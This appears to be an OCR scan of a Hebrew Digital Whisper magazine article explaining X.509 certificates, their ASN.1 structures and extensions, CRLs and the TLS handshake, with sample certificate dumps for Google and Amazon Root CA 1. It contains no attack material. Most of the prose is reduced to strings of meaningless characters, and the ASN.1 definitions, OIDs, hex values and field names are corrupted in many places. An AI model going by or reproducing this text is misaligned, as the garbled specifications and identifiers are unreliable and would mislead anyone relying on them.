n & 2020~ * X 1,420 x 4 L ¥


https://oidref.com/

2Technoloqgic

@3 ooyt asds Hns 10 1 4y 4] s Ix
X509 ioc ) 1~
s 1 x Sos 4 X "X W LSid iederdl IXscosT M s
sIx. oy 4 1ix ] x 1 g fv.7 slx s N
ASNL 1 _ .mt" * _ «x" ,Xgx T |x:is
| L. 41 .7 ,S|XA s s”xv . ~‘|J"~J ,=JV 1« L
x | s 1«
1ol slhx s 4 x
Version number ]
Serial number
Signature algorithm ID
Issuer name
o : Hash Signature Signed
Validity period > : . .
A algorithm m algorithm —.l digest
Subject name Signed with CA’s
Subject public key private key
E Issuer unique identifier
'.§_ Subject unique identifier
o Extensions
Signature -~ " .
<«—— [lash algorithm ID + Cipher ID + Parameters
. CAS 191 74 x x 1 s ] X ] s 1 ox s
1: _ _hashs L GAS x 1%x*{y x4 . 1t shx s oxy
s | x R L s . 1 1 s . . q .
‘Windows LS s L s x
Field Value
jVers\on V3
_|serial number 3be40f3bf64186b6020000000...
__|signature algorithm sha256RSA
_|signature hash algorithm sha256
Vi ;\Issuer GTS CA 101, Google Trust Ser...
fields _|valid from Tuesday, 5May 2020 11:31:24
[ |valid to Tuesday, 28 July 2020 11:31:24
_|Subject www.google.com, Google LLC,...
. public key ECC (256 Bits)
' |Public key parameters ECDSA_P256
[ |Enhanced Key Usage Server Authentication (1.3.6....
&3 |subject Key Identifier b6a174e61186547cd929 1€ 70f...
51| Authority Key Identifier KeyID=98d1f36e 10ebcfabecs. ..
43)_‘\ Authority Information Access  [1]Authority Info Access: Acc...
@_lSLb)ect Alternative Name DNS Name =www.google.com
extensions il |55 Certificate Policies [1]Certificate Policy:Policy Ide...
{1 | cRL Distribution Points [1]CRL Distribution Point: Distr...
Gy)scT List v1, b21e05cc8ba2cd8a204es. ..
Iy Key Usage Digital Signature (80)
i |Basic Constraints Subject Type=End Entity, Pat...
properties || Thumbprint 95¢28236e041a6fa8e538¢ 188...
T7 174« v 47 4, sx Lo 1AW L dHx L
www.DigitalWhisper.co.il
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”
-

Certificate INTERGER

{

TBSCertificate
Object Identifier
BITSTRING

tbsCertificate
signatureAlgorithm
signature

x Moo T A4d T s T x R I T SRS S B B R B S T T
tbsCertificate-To Be SignedCertificate + ~» « 7« x s
s | x s L, X 1GAsS 1 1% ¥ 1 s sighatureAlgoritthm ,, 4" s 1« 44X x s
CqHA256 L | L)
- s Lo s 151 e X x 4 * 4 |signature , d~ 1 L ¢ k48 x>
I x 1 { TBSGertiflcate
Fd 144X x e 0 s 4 . ASNL- ITBSCdificate X & H 4 F x4 $ X X x| 1o«

PA(s A4 X

Jpwi]

TBSCertificate

SEQUENCE

{

version
serialNumber
signature
issuer Name
Validity
Name

validity
subject
subjectPublickeyInfo  SubjectPublicKeylnfo

issuerUniqueldentifier
subjectUniqueldentifier
extensions

[ 0] Version DEFAULT v1

CertificateSerialNumber
Algorithmldentifier

[1]
[ 2]
[3]

(0),

IMPLICIT Uniqueldentifier OPTIONAL
IMPLICIT Uniqueldentifier OPTIONAL
Extensions OPTIONAL

D A T X

amazonroot CA - 17 _ X509 - ! x Y 47 e e X w7 x|
N (R T R R A BT

ﬁﬂ

File Action View Help

o [ L2 XE=2 HE

_ﬂ}] Cgr‘lificates-CurrentUser “ || lssued To Issued By -

v | Personal
_| Certificates
v | Trusted Root Certification .
_| Certificates
| Enterprise Trust
v Intermediate Certification .
| Certificate Revocation
_| Certificates

ERl Amazon Root CA 1
5/ COMODO RSA Code Signing CA

—,]COMODO RSA Domain Validatio..
gl EUS-INTC-KEYID-17A00575D0SE...
5/ Go Daddy Secure Certificate Aut...

2/ GTS CA 101
gl Let's Encrypt Authority X3

Ina: A - —~n A

Starfield Services Root Certificate A...
COMODO RSA Certification Autho...
COMODO RSA Certification Autho...
Micrasoft TPM Root Certificate Aut...
Go Daddy Root Certificate Authori..
GlobalSign

DST Root CA X3

.o A L om_ atEr s K.l

T

1-.

sxo4 o T HwA L

x|
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. dpenssi*  gettutil-

X509 Certificate
Version : 3
Serial Number : 067f944a2a27cdf3fac2ae2b01f908eeb9c4c6
Signature Algorithm :
Algorithm Objectld : 1.2.840.113549.1.1.11 sha256RSA
Algorithm Parameters
05 00
Issuer
CNeStarfield Services Root Certificate Authority
O=Starfield Technologies , Inc .
L=Scottsdale
S=Arizona
C=US
Name Hash(shal): 887da4445e67ea7c94774e43189c3ecee4c87312
Name Hash(md5): 52135310639a10f77f886b229b9f7afc

NotBefore : 25/05/2015 15: 00
NotAfter : 31/12/ 2037 4:00

Subject
CN-Amazon Root CA 1
O=Amazon
C=Us
Name Hash(shal): 4f59a39453cfbh9559e7f6bd8c54da53d ab42b714
Name Hash(md5): 99¢508fd54chc396cc3256bb87829ae0

Public Key Algorithm
Algorithm Objectld : 1.2.840.113549.1.1.1 RSA
Algorithm Parameters
05 00
Public Key Length . 2048 bits
Public Key : UnusedBits = 0
0000 30 82 01 Oa 02 82 01 01 00 b2 78 80 71 ca 78 d5

Certificate Extensions 7
2.5.29.19 : Flags = 1(Critical ), Length
Basic Constraints
Subject Type =CA
Path Length Constraint =None

2.5.29.15 : Flags = 1(Critical ), Length
Key Usage
Digital Signature , Certificate Signing , Off -line CRL Signing
Signing  (86)

25.29.14 : Flags = 0, Length = 16
Subject Key Identifier
8418cc8534echc0c94942e08599cc7b2104e0a08

252935 : Flags = 0, Length = 18
Authority K ey Identifier
KeyID =9c¢5f00dfaa01d7302b3888a2b86d4a9cf2119183

1.3.6.1.55.7.11 : Flags = 0, Length = 6¢c
Authority Information Access
[ 1] Authority Info Access
Access Method =On line Certificate Status Protocol
(1.3.6.1.5.5.7.48.1 )
Alternative Name
URL=http :// ocsp . rootg2 .amazontrust .com
[ 2] Authority Info Access
Access Method =Certification Authority Issuer (1.3.6.1.5.5.7.48.2
Alternative Name :
URL=http :// crt .rootg2 .amazontrust .com/ rootg2 . cer

*r A7 st e kY AL

www.DigitalWhisper.co.il

2020~ * x 1 4227 x { [ ¥




Technologic

2529.31 : Flags = 0, Length
CRL Distribution Points
[ 1] CRL Distribution Point
Distribution Point Name
Full Name
URL=http :// crl .rootg2 .amazontrust . com/ rootg2 . crl

252932 : Flags = 0, Length = a
Certificate Policies
[ 1] Certificate Policy
Policy Identifier =All issuance policies

Signature Algorithm :
Algorithm Objectld : 1.2.840.113549.1.1.11 sha256RSA
Algorithm Parameters
05 00
Signature : UnusedBits =0
0000 18 21 9d 34 f9c4da9 2a a4 51 62 Oe 9a adfa 9a

Non- root Certificate

Key Id Hash (rfc -shal): 8418cc8534ecbc0c94942e08599cc7b2104e0a08

Key Id Hash (shal): 408377dd675d40870de22a8905452875f236ded4

Key Id Hash (bcrypt -shal): 4e5ce94c78768c1064dbd81calfb32707fab3b48

Key Id Hash  (‘bcrypt - sha256 ):
ad5e3307f114c9790dc7ce83382fh91792a8c298e40b10f00b63f0540bcO3c4a

Key Id Hash (md5): 94ba2a8e68434595d5aff46246c54c12

Key Id Hash ( sha256 ):
50027ff723aaaba9e4e025f642d6600e6c93e891d896405f8a13b37b31ffflch

Key Id Hash (pin - sha256 ): ++MBgDH5WGVL9Bcn5Be30cRcLOf50FNyoXuWtQdX1al =
Key Id Hash  (pin - sha256 - hex):
fbe3018031f9586bchf41727e417b7d1c45c2f47f93be372al17b96b50757d5a2

Cert Hash (md5): e865a22aae524d26869af0448d6fd896

Cert Hash (shal): 06b25927c42a721631clefd9431e648fa62ele39

Cert Hash (sha256):
87dcd4dc74640a322cd205552506d1be64f12596258096544986b4850bc72706

Signature Hash . ¢95f7b20f6fcd39fd3a07a2e44252423b634fdbe35e1e045d964deea626115ch

| « X's , X1 s I X «

1717 4> v d 74 sx 4T dw{!l codidx L
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M S, ~Y_ L1s) slbx Ll Mne ¥¥x Y cadd st X403 04
LOEXH s .y 0 1s ox o oox o v ) e e X
X509vE* x|
Version
XMef, 5 s ¢ s by 4, TS x g, sex x4 | s T %y
vi s b x 07 o0 o4y o xe L oxe g DT X s ep 4 xe 4TS 10T
ASNL 1~ x x sihs @s ], 1 4 s 4 _ w3 =Elxs ] 0%

INTEGER {v1(0), v2(1), v3(2)}

SerialNumber
, L X scount@r X FCAT AL L I CAs. T4XI)y o s " xs s hox Lo s
(+x47_*)y A11x7"s 7 ¢s  windews*l L1 ~ HJpiX ¥ Aepnfigfile -, . x "
XX AL AT aaTdes s s L s 4 xS s A4 4
CACAS . T x L x Isoo )y Y. b4 ixx
( x x X x

y x |
SignatureAlgorithm
L. _L .Sl x I sCAS s ¥I4axvypicls objéct identifiery OID_ L ()
LM s s X, ORSALL T ASHALS ¥ 3 * { ¥ 1.2:840,1135491.1.5Mm
b XX Foe Fdod . shx s g X ¥ L s A XXy s
LoX  wxs s 4 Ts  pl{L.xY e S _4Y S s {17, s 4y

G I N

x . Obs ~ |, _ o FoAOIDX | s x X H 0% Fo £ 4. 4s¢ I X < Dx {8
1 OID%* ¢ 4~ x- 1 1« 4.

1717 4> v d 74 sx 4T dw{!l codidx L
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A A T T ST T S R IO L e e

~ > ~

NULE % 1 sy o«

¥ha256RSASignaturealgorithm.  ~ _ v x|

Algorithmldentifier
Algorithmldentifier = SEQUENCE

algorithm OBJECT IDENTIFIER ,
parameters OPTIONAL

}

Issuer
X500 .4 -~ paths <+DNs. s ! x o s | CAs+ - Digtinguishdchame DN - « 1 |
directory

:amazoncom ¢ _ S lsguer:s*l s T | x I [« ¥ X

CN = Starfield Services Root Certificate Authority - G2
O = Starfield Technologies, Inc.

L = Scottsdale

S = Arizona

C=US

Name ::= SEQUENCE OF RelativeDistinguishedName
RelativeDistinguishedName ©= SET OF AttributeTypeValue
AttributeTypeValue == SEQUENCE
type OBJECT IDENTIFIER ,
value A NY
}
Validity
X X =st ‘xs_(y?MmNddhhmsyﬁ,,’\\:sstAZs x los _x =V¢s 1
s L 1 stA:s s X 1l 4.+« s .« XS 1"~s I
(%~ ~ B . X <) TTCA L, s oXs Ty X
s\’/a{idjtysl~ P L X« '|:>vx P X 1X o« Fo Zx~l] :xIxA
oo dxxs o os x4 x @] s 14 CArodts X p 4y YT s pSl 4 xy v A
=_xv><¢>¢<(:‘2<"~:xs<.‘" :xIxA: st
17 .17 4% b7 s 4 AW D LT

www.DigitalWhisper.co.il
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L s s N A T T I {1 L X« .S L.x,X o s¢
O " L XDy x bx 0 <1 RerewalFéePueDate © _ 11

L1 xx L XS Ts | % -CAERHEL” K48 x X

>

SEQUENCE

notBefore ChoiceOfTime
notAfter ChoiceOfTime

}

ChoiceOfTime := CHOICE

{
utcTime UTCTime

generalTime GeneralizedTime

}

Subject
c L 1. x* 4 s 1 L~ X . XBOODNsS st 1 L 4 1% ssulq Ss]

~ ~ >~ ~

EEXR‘ACA:‘ ,ovoL LoXx 1A s | s =] x

A s b 4.1 . X509 X< xp f X4 IXBOODN® D oxq ]

>~

"Susanjone$ . + | + mMGommoANameCN
"Purchasing . = x ¥ ., mOfgarfizationUniOU 1
"Amazori . T X ¥ym@rgahizationNam®

1

fPaloAltod . - {1 TLocalityName.
fCalifornia . s ” 1 StateNameS
iCcH . s " 4l s HmCoeuntryG 4 - x -

:amazoncom . _ S Subject 3! s T I x I [ <« ¥X

CN = Amazon Root CA 1
0 = Amazon
C=Us

Subject name
Name ::= SEQUENCE OF RelativeDistinguishedName
RelativeDistinguishedName = SET OF AttributeTypeValue
AttributeTypeValue == SEQUENCE

type OBJECT IDENTIFIER ,
value  ANY

}

17,4 4474 s 4 Dxdfix Ay 414 xt x o L
www.DigitalWhisper.co.il
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PublicKey

RSA DSA Diffie-
Hellman

SubjectPublicKeyInfo == SEQUENCE
{
algorithm Algorithmldentifier
subjectPublickey BITSTRING
}
Algorithmldentifier = SEQUENCE
{
algorithm OBJECT IDENTI FIER,
parameters OPTIONAL
}
X509v2* I ox |
xS ds Tl w1 xtEY s sy LS CXB09 x| 0 x 7 Al 2 T X
L S dL_ _ o~ _ X" Subject ¥ibsSUersx «px 1% X&x, 1 . x _{ s 7
« X 1.ETFT ¥ 1+ s Uniqueldentifiet o, ( *x ! _% _ 1 s« x)
L <L 1 Ts Ix Toxox g o k. Cs T e N R I
= x X 1 % S L v S Cox | S - M 14 . - X

IssuerUnique Identifier

~ XCAL s _x 1  ]sSuerK500name- s_s* Chitstring

issuerUniqueldentifier i OPTIONAL

Uniqueldentifier

SubjectUnique Identifier

X oTu .~ Txx Al . ixq . sS SRACAEE rHd 4 XX 5S o_
X500 SerialNumber v _ s s 1 x o X x X
subjectUniqueldentifier i OPTIONAL
Uniqueldentifier = BITSTRING
17 .17 4% 7 s x4 T Hw L L L
www.DigitalWhisper.co.il
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X509v3* x|

Lo, N L B T A . T - XX
x4y s X, CX L e T X o @ TSX L Y x=-|><Lx\V”Jx -|_‘:“x"lx><> XosDox " X
X1XA.|y>
cxu e T e, ety T4 s L XBOF g xsh x. vn ot ] ]
XN“S AI q X« . X X7, s s s Iox . L (:vxxx"],,AsI i. -
X X TRLs - . S Dox lox .S . X . s 7 X L X L Xy s s | x

LY ! ~ ~ ~ ~ a 1 a

L REE5280 - x * 1. s L T~ 4 L X AT S R JIRx L xX0 L, X ]t x4 ],

e e 0 e s x4 Xy xR 4 ¢ & XoldePcadm* omec , (1" s,
v s

x X0 s A4Jdwx 7 s s btdndardextemsibng 1 1'17 -« ¢ (4,  x ' x|

L] ox Fd41-071 s Pl X 1oL « Zx|_><yxv L Doxboxe ,

|_S©=x$(>j)-{\ivs DX 4 ox , X s X7, s q

ASNL 1 _ ~ x | s s 1 XType-Criticality Value : - &/ _* * 1 . X sX*X 1.5 1

with  version  3).

Extensions SEQUENCE OF Extension
Extension = SEQUENCE
Id OBJECT IDENTIFIER ,

critical BOOLEANDEFAULT FALSE,
extnValue OCTET STRING

}
I R SX 7.5 s v ©OID T g A5 <4 TSOHTLxSX LILX X ey

s*1.,ss o | bytedrray s ! ¥ 1 _

X by 1 x x4 xx 0 Uhksy {qyd, " $ ¥ ASs®1,s T4 s xx ] s
11 1. xos 41 L e xS0 x0T D xx s boxe Ll
114« qlhdx o 7 k] (1« cxbox g St kA Ad Ll s EX XSS s D
x X 1.ss AL s Xxxos 741X sy, Xk 4 x5 lx DX
x4 X x4 x4 s 11X x X 1 isx sX AL 8T P
CAx: ixv v 41~ 511>« 4 x1]
LLsshyxo s s XX X T 4.0 s X s Doxs s 14T X X ey x X
s o € .k s X 4.8 4 X DX X ], s Y x "s Ll x "4
L T~ s T XB09vBextensions* ¢ wkr X IXB09 i xx D ox o ox TE ] D
N S , - EERA GA44, Txxyx = s X o x L BN box .
x X Zx-|ATf<s",,>g,~xys~,,s‘v>< (xJ\
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De X T XX X, o Iox . 1L xx s L ks 1% x . . X

Dol ox DX XB0Dextertsions Xy xi"xs 1 X 4 14 . T oxdxqs] 1« XSS f xS

1 o141 s ivps  xReyUsageekKeylUsagebasicConstraints - x * 1 » s s
s _.x o~ x4 x4 Ty kg x fF X T8 L s s
sl x s =] x ox
X509v3extensions ~ 41 _ . 1 x .4

~ o~ A ~

1Y X L sX 1.8 X ALX A« SO xe s Idrilldown Ex s o X xs o

Yoxox oy 10 o4 1x  pAS %5097 « ¥ 4 Y X 1 K extersion3d 4 xsX X (. s s

F Lox X -I . -| N
104 Lk ArIs_ D UTxx o xdedfenisidngt ~ X 1s s < X4 1. s 1L 1xs
Fs Ao, 41 . “ L 1. sx Txox o ]ooox LT L R
, lexténsionss  x ! o I xsx.ox 04T A, 0 X L ox D AT, s
s | x S .
C\User8JonathanElkaba¥esktopropenssIx509-in googlecer -text
L X nooy
Certificate
Data
Version 3 (0x2)
SerialNumber.

7€:10:d9:01:f7:ac03:cd:08:00:00:00:00:4 7:ef:8e
SignatureAlgorithm sha256WithRSAEnNcryption
Issuer C=US O=GoogleTrustServicesCNEGTSCA101
Validity
Not Before Jun17 14:23:06 2020GMT
Not After : Sep 9 14:23:06 2020GMT
Subject C=US SECalifornia L=Mountain View, O=GoogleLLC CN=*.googlecom
SubjectPublicKeylInfo:
PublicKkeyAlgorithm id-ecPublicKey
PublicKey (256 bit)
pub:
04:e2:0f:c289:99:94:1d:58:ceidb:11:2f:1c.d2:
12.d5:47:7a:81:16:3f.df:86:65:ae:d3:43:ba:9e:

ASNI10ID prime256v1
NISTCURVEP-256
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SignatureAlgorithm sha256WithRSAENcryption
6d:a6:b4:f6:4a:63:bf:ed:80:20:b6:eb:01:85:2e:ch:41:fa:
10:01:cf:a6:bf:eh:20:99:2¢.59:2e:6d:f2:8d:¢c6:5f:ac03:

,,,,,

vx o 44 sextension x4V 40 N T, s s s b o oxd

~ ~ A

(sxt s T lxt UASNE Mk (7S T s

authorityKeyldentifier

AuthorityKeyldentifier == SEQUENCEH
keyldentifier [0] Keyldentifier
authorityCertlssuer [1] GeneralNames

authorityCertSerialNumber [2] CertificateSerialNumber

Keyldentifier := OCTET STRIN
A1t oo A te s T 0 Awtherity Keyltlentifigr 4:.*s1 »1s: s
I x : | = xy | , S {11 DX ] ” X s kx {4 s s X

_x 1 {1CA! » X x

FAdsXs b 4447 s ix s o4 Xy
Keyldentifier s ' _ > . Lyx . « 1 .x 1.
st _x sl x Ts 1o s s duthorityCerlssuers 4 4 X . ¥y x _x 2 o« oo

.authorityCertSerialNumber
L extension + s Iox X - X7 -7 _  Keyldentifiet s\ {1 _ $i-_ | , B

+ 1 -subjectKeyldentifier

a
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1 xs {¢ N + satithorityCertSerialNimbert autharityCertlssuer + «
.serialNumbers Nssuers 1 ¢ s _ 4+« s sl x
<4, " o JIPXxo&suernarhe o x4 s b d o 0 44 v X © s
s 1 ox s

s o x « x| hancriticat! ! 4., Fwx  xs¢{ ssiXChiticwdity -589.35H OID

basicConstraints

BasicConstraints == SEQUENCE
CcA BOOLEANDEFAULT FALSE,

pathLenConstraint INTEGER (0.. MA¥ OPTIONAL }

L. S CAlivlixx o ceddificateichains © X 14w s - 101 4xi o x ¢ s X

~ S

s¢ sl L4 JGAL: xILx frae X4 S.cA SH . I xlx s X

, (Tx L x o, X, w0 L x | xpathlsenCenstraint s '~ 4+ XY s €
s,_AV>< ZE(EVZIx“IistxZV L-|SCAS).1|kA:XL):)f., v XA L x Iy LoX -
X~,,~S
CA - x 1 x c oo o x .x o X Dx bxpathLenConstraintu T s L X v
=] Y SLOAs ] s, s lies . S S L

~ A~

X {s L .~ o~ sciicakl <xXvx AL Crificality . dft GOID
L X < I I

certificatePoliciesExt

certificatePolicies = SEQUENCE SIZE (1.. MAX OF Policylnformation
Policylnformation = SEQUENCE
policyldentifier CertPolicyld ,
policyQualifiers SEQUENCE SIZE (1.. MAX OF
PolicyQualifierinfo OPTIONAL }
CertPolicyld := OBJECT IDENTIFIER
PolicyQualifierInfo = SEQUENCEH
policyQualifierld PolicyQualif ierld
qualifier ANY DEFINED BY policyQualifierld
107" x4 .0 X 1,xx 11« ] | ¢ x {CérificatePoliciex 4 * ¥ »s T+ s

11~ Wiki.org ¢ _ Y Wnifarm Resourceldentifier) URI + x o | s L qudlifiers s.*_1 ~ s
x L, 1y x4 x4 s L. X oM AN xS s X sk $ A, o

~v o~ 0o ' w oA
| XQIB X .

a ~

critical or noncritical Criticality .5.29.32H YOID

17 1771 sy 0 - x4 ddy 4 cox boxe D
www.DigitalWhisper.co.il
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CRLDistributionPoints
CRLDistributionPoints ©= SEQUENCE SIZE (1.. MAX OF DistributionPoint

DistributionPoint = SEQUENCEH
distributionPoint [0] DistributionPointName OPTIONAL,
reasons [1] ReasonFlags OPTIONAL,

cRLIssuer [2] GeneralNames OPTIONAL }

DistributionPointName = CHOICE {
fullName [0] GeneralNames ,
nameRelativeToCRLIssuer [1]  RelativeDistinguishedName

oA x4 4 s x s 4 X - s ¢ s I CRE,  _ xI 44 _ tioxq ] us . 44!
CRlssuingpoints* _ x {1 s

URIs = 117 sURI [ typé "+ DjstributionPointName s ! _ s Do DLl x lg s
r 1] eRLissuet + _s 414 o <« "xA4x x| xCRES | d4*4 _

subjectAltName s * 1 . s * 4., URK _ ¢ 1 X% « _ %
x o X s 4 0 0 S CRE |, wdl X <0 distribytionPathtd B - L § -

CAs 11 4 ~ , CREs cRLIssukerssc! _* {4+ 1distributiohPoint s ! = ¢ «

s | x . s e « 1

x ¢ s x1.,sx x _ CAs I AL

x Ioxo o oos L] *nonkriticakl L- ~- 1 yox  x Crititality .5.29.31H YOID

keyUsage
KeyUsage := BIT STRING {
digitalSignature (0),
nonRepudiation (1), -- recent editions of X.509 have
renamed this bit to contentCommitment

keyEncipherment (2),

dataEncipherment (3),

keyAgreement (4),

keyCertSign (5),

cRLSign (6),

encipherOnly (7),

decipherOnly (8) 1}
X Tossx s X shx nx o 1. xKeyUsage :1°:1 - s
ALY R dd e v L s X T.ss o 11X x criticab) XL 1_yxx_ |

|.-{,,va ~xv-|~s 1y x
17 .17 4« v A s Lo e T

www.DigitalWhisper.co.il
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e flagy o x P os e r AL H s s LS s A X4

CX o4 e L s hbx s e, s LomdighialSignature(0) . 0 - L~
SSlclient = x I x o ox X x4 o so " ] b (T 0 D
T v A eddXx e L s GMIME Coxdo 1 s D ox |
M4~ v s¢ sl digitalSighature s | 's ss{isnonRepudiation(1l) 1
LXw L _4x  Daoxp 1% 4x T x 6 n XX g s X .
s hox oy S I X . NN 17 0 sx x4 s Lo
keyy MHx 1 Vs ks DX . x X qnkeyEnciphermen(2) - -~ |
1.1 _4, 41~ RSA1. ™ < 11~ %Xtansport~- _ ~ 1 , L _ _1
_Jawdata_: ", s . x4 4 _ _ _ _mdatagEnciphérment3) , . s - _ |
O
r 1 _.%x, - _keyhgreement.- x.: * 1. x *rikeyAgreément(4)s § ~ _ - |
.keymanagement. Diffie-Helman 1 -  _ > x4 |
1.4 15, . v_ s_471s I x_ 4«1 mkeyCertSign(s) M -, _* _ X
basicConstraints - * 1 €& * {1 * 4 | Do PN XS S Ty {0 .ol
X 4 s ExX s CA LHIX I X xp Dox T g X
CCRE x4 o144l x40 1 Ix 4. TcRLSigY s 1, | X
key R B Lo P4 =", «~ s 1 TwencipherOnly (7) 47~ x * 1 « s 1
- * KeyAgreement + md ~, s -« o L X « agreerhent: 4 X4 [+ -
keyagreement x . 4>* 7 ¢x {7 x o7 1x7”  .decipherOnly@8) f 1 - x X4 .s
- * KeyAgreement r w1 1,. s L~ Lo x4 X
- X _ 1 1subjectpublickey s ! * . x s{ x . *KeyUsaget > 1. s . |

.M 1 ~cRESign xKeyCertSign: *x {1 * 1 |, CRLL » tx« px I x L

41141~ «1 s Aoncritical xariticatl, v.x x 1 s L Criticalityx5529.18H™OID s

extKeyUsage

ExtKeyUsageSyntax  := SEQUENCE SIZE (1.. MAX OF KeyPurposeld

KeyPurposeld := OBJECT IDENTIFIER

Xpes w4 bx A4s s hx Tsy 1~ X *ExtendedKéyUsage™: *_1*~_s4 _ o + 1

KeyUsage: * 1~ s> x 1 yxs {1 x 4 pxo X

1717 4> v d 74 sx 4T dw{!l codidx L
www.DigitalWhisper.co.il
cn 2020, * x 14227 x { [ ¥




Technologic

Serverauthentication 1.3.6.1.5.5.7.3.1

Clientauthentication 1.3.6.1.5.5.7.3.2

Codesigning 1.3.6.1.5.5.7.3.3

Email 1.3.6.1.55.7.3.4

Timestamping 1.3.6.1.5.5.7.3.8

OCSFsigning 1.3.6.1.5.5.7.3.9

Sx 1 s S s | xcriticat] : 7 > x s ¥ 9 Cyitcdlity 56.29.37H YOID

Sx 1 1xs {4 ¢ L. .U I Xnontriticabd 4 1 ¢ x « XIsX (X9 x4 x s |

X "4 ox o I L stAZX X 1

issuerAltName

IssuerAltName ::= GeneralNames

FA X4 4 CAsS: X 417 17 4+ T x " ¥y |ssuerAlterhative Name X * 41w 18

subjectAltName + . s *1.s>* s, yxs s, x .

noncriticalCriticality .5.29.18H YOID

nameConstraints

NameConstraints = SEQUENCEH
permittedSubtrees [0] GeneralSubtrees OPTIONAL,
excludedSubtrees [1] GeneralSubtrees OPTIONAL }
I x XD x < Zubpjectnamles< ., f L+ 1L L damespate ~ox_ ( * 1. _ s, 4Ly
subject alternative names. subject distinguishedname-. cxor -certificatiors path
x € s X T LCA exql x 1 ohosts Lk _ X L 1 mameéconstrainss \URIs.  , L _ L

.ccritical © x {1 s Criticality %6.29.304 YOID

policyMappings

PolicyMappings = SEQUENCE SIZE (1.. MAX OF SEQUENCE{
issuerDomainPolicy  CertPolicyld ,
subjectDomainPolicy  CertPolicyld }
cx 44 0 s xx o L CALY wHs. X sk 4 f{ X Policymappidgs - ¢~
crosspair _ _* _ _ o~ _ T CAS x4 _+ ¥ o1 _ sbx Tsoq4 ™ygs o o]
.certificates
17174« P A s Hw{ T L e Lo,
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issuerDomainPolicyg - x! = 47 4 0IDs & _ ot d !l WU XA x 8% 7,585
CA " x1l x CASH~>1* x{" 41 ™41 | dubjectDemainPdlidy : + + 1 -
Lx S s X, sy

noncriticalCriticality .5.29.33H YOID

policyConstraints

PolicyConstraints n= SEQUENCE
requireExplicitPolicy [0] SkipCerts OPTIONAL,
inhibitPolicyMapping [1] SkipCerts OPTIONAL }

SkipCerts = INTEGER (0.. MAX

policymapping _ x _ 4 _ - x 4+
pathe -~ " policyidentifier-1 < x4 % x40

cxox 4 Dx o ox s Dox box s, jnhibitPokicyMappifg. s_ ! X Lk« 1 . S
-+ X4 . policymapping_. 1 Path-f - x {1 s

cxds o tx x4 tx bx s iahibitPoligMapping s * _ ¥ + X 1.
paths 1o < _ .x x4 7 Apath* v L F X 4 .

~ > v

s 1. s  tfcak! *xSs .s* 1. ss . . GASEriticality:5.2936H301D ¢ 1 _ -«

x 4 _s 7 criticak xneneritical*y x x L s x |4

subjectAltName

SubjectAltName ;= GeneralNames
GeneralNames := SEQUENCE SIZE (1.. MAX OF GeneralName
GeneralName := CHOICE {
otherName [0] OtherName
rfc822Name [1] 1A5String
dNSName [2] IA5String
x400Address [3] ORAddress
directoryName [4] Name ,
ediPartyName [5] EDIPartyName
uniformResourceldentifier [6] [IA5String ,
iPAddress [71 OCTET STRING,
registeredID [8] OBJECT IDENTIFIER }
.S Iox .S ] x X% 1., x X 4 s 1 - L X4 % s $ ¥ 1 ~ LS ) X
I | X« [ SUbj&Cth&mB ssl X 7%, sisx s ¢ s FOX o x X x "X |

Ss b JCASCX I 1D e X x TX500DN xesLO) L p (AT XIS L 1 L -
URIIP*: X *DNS F x,_ _ , cd94s i x@feql4 4400
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. (wildcardchar* _ x _ 4 _ s _ | A B S N TV

criticakl v x x . X {4 1 sstibjectdame s L { Ycriti€alityx5,29.17H YOID

subjectDirectoryAttributes

SubjectDirectoryAttributes " SEQUENCE SIZE (1.. MAX OF Attribut

cx b oxoxe, by xos o ) attributesr 4T 4 ] X vy X o X Txy 1) p 44 XX

T T S e s R N U R RPN SR S O
X Lo W X L DX XXXy

noncritical Cyiticality .5.29.94 YOID

CRLvZ2 _ -~ x|

x4l s x0T e X § I SGRIX XD XTLAX ] T L e, ]
s x| s 1 0] Js{ L8 x I %X 53X %7 X% g x = 1, x (X X x | Dxolox

~ ~ a

Signature algorithm ID

Issuer name

This update date

Next update date H : =
ash ; Signature Signed

— ; » Digest > S > = -
Revoked certificate algorithm algorithm digest

Signed with CA’s
private key

Revoked certificate

: —
Signature <—— Hash algorithm ID + Cipher 1D + Parameters

-+

‘CRL LASN1 1 _ . x

CertificateList u= SEQUENCE {
tbsCertList TBSCertList ,

signatureAlgorithm Algorithmldentifier
signatureValue BIT STRING }

17174 s> e AT xddH+y 4! Coxboxe Lo,
www.DigitalWhisper.co.il
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i1 4 TBSCertLigtx - x I x = s x|

TBSCertList " SEQUENCE {
version Version OPTIONAL
-- If present , shall be v2
signature Algorithmldentifier
issuer INETN
thisUpdate Time ,
nextUpdate Time OPTIONAL
revokedCertificates SEQUENCE OF SEQUENCE

userCertificate CertificateSerialNumber
revocationDate Time
crlEntryExtensions  Extensions OPTIONAL
-- If present , shall be v2
}  OPTIONAL
crlExtensions [0] EXPLICIT Extensions  OPTIONAL
-- if present , shall be v2

l

CRE = x|
Version Signature IssuerName ThisUpdate NextUpdate RevokedCertificates Extensions

.extensions .t . s ! CRLv2+ ¥ _ 411 >
ToX e ok dcd o A s Tx T o ox v 47 :
FX a0 e ex bxo  (XCRL A X )S XIS CRLX% xS x X s s x|
s s ¢ ] . X X ]
(X1 REFG2459 CRL'L~)4 v 4 140 s x| xs {7 5
17174« v d 7 - x4 T dw{!l ol
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TLSHandshake =~ x 1 1 4 * % FodoA

x Tl T N s o oxs 4y b X x T T s R X xR Xy

X 717 . x {1 x 14+ LX s xx x4y L U ' 1 x
20 x| x = X\ e 4 9L X

17 A . _AmaZon {1 tAmazdry 1 ¥ 4 X x Xdx ] 4 x 7 oy 1L -

2x T 4T

Server

S

TCP SYN + ACK

Handshake /
=
ACK R

~—————— Client Hello

SYN

_

Server Hello + Certificate

TLS - ——
Handshake =

Key exchange

\

Ty ___———————’_"'"‘—__'_—_—_—
] Finish

L1?s " xx s s TCP* ¥ TT@Pcsnnettiond * ¥ x s. _ HTTR: % x _

S L ks . DS Ixxoos o frox Xy 14, o

~ v ~ ~ ~ ~ v ~ ~

.1 s ¢ | TCPhahmdshiake ~4~""\_ *:iL_: 11 L s TCPcohnéction”,

~

Fs 4 r 4w i x headerss - X {TCP _ AXx % { % ] 4L s TES 1« X
Sx e sx s s Foeod e XY Cos Pl e AT s

XS Cos scd 1 s wqdL s XX 44 s s 4y
I 4 s
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TCPL o TLS, s~ 7 Fd s 1 FAo X ax 1ty xoxgx, xg o Xxd4 % L
. ST s el S Xy 4L S co_ o X HTTR v T e 8% XX X)LS X
HTTR | s xx s = x.

HTTP FTP
TLS —

TCP UDP

ETH DSL Wi-Fi

s 1lx x4y sx Xl v (s 1. TLSWirdshafk* [ f 4 1) x s sy xT o

